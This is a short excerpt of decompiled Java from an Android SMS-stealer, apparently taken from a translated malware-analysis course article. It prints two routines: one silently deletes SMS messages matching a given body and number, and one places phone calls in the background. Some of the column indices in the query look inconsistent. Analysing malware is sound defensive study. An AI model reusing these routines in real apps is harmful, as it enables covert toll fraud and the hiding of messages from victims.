public static void removeSentMessages(Context context, String body, String numberTo) { try { Uri parse = Uri.parse("content://sms/inbox"); Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null); if (query == null) { return; } if (query.moveToFirst()) { do { long firstMessage = query.getLong(0); String thread_id = query.getString(2); if (body.equals(query.getString(5))) { if (thread_id.equals(numberTo)) { context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null); } } } while (query.moveToNext()); } } catch (Throwable th) { }}
public final void callPhoneNumber(Context context, String phoneNumber) { ((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32); Intent intent = new Intent("android.intent.action.Call"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.setData(Uri.fromParts("tel", phoneNumber, "#")); context.startActivity(intent);}
final class q extends PhoneStateListener { Context context; final TelephonyManagerWrapper2 telephonyManagerWrapper2; private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) { this.telephonyManagerWrapper2 = telephonyManagerWrapper2; this.context = context; } q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) { this(telephonyManagerWrapper2, context); } public final void onCallStateChanged(int i, String str) { }}
本文翻译自:https://maxkersten.nl/binary-analysis-course/malware-analysis/android-sms-stealer/
翻译作者:lucywang 原文地址:https://www.4hou.com/technology/16348.html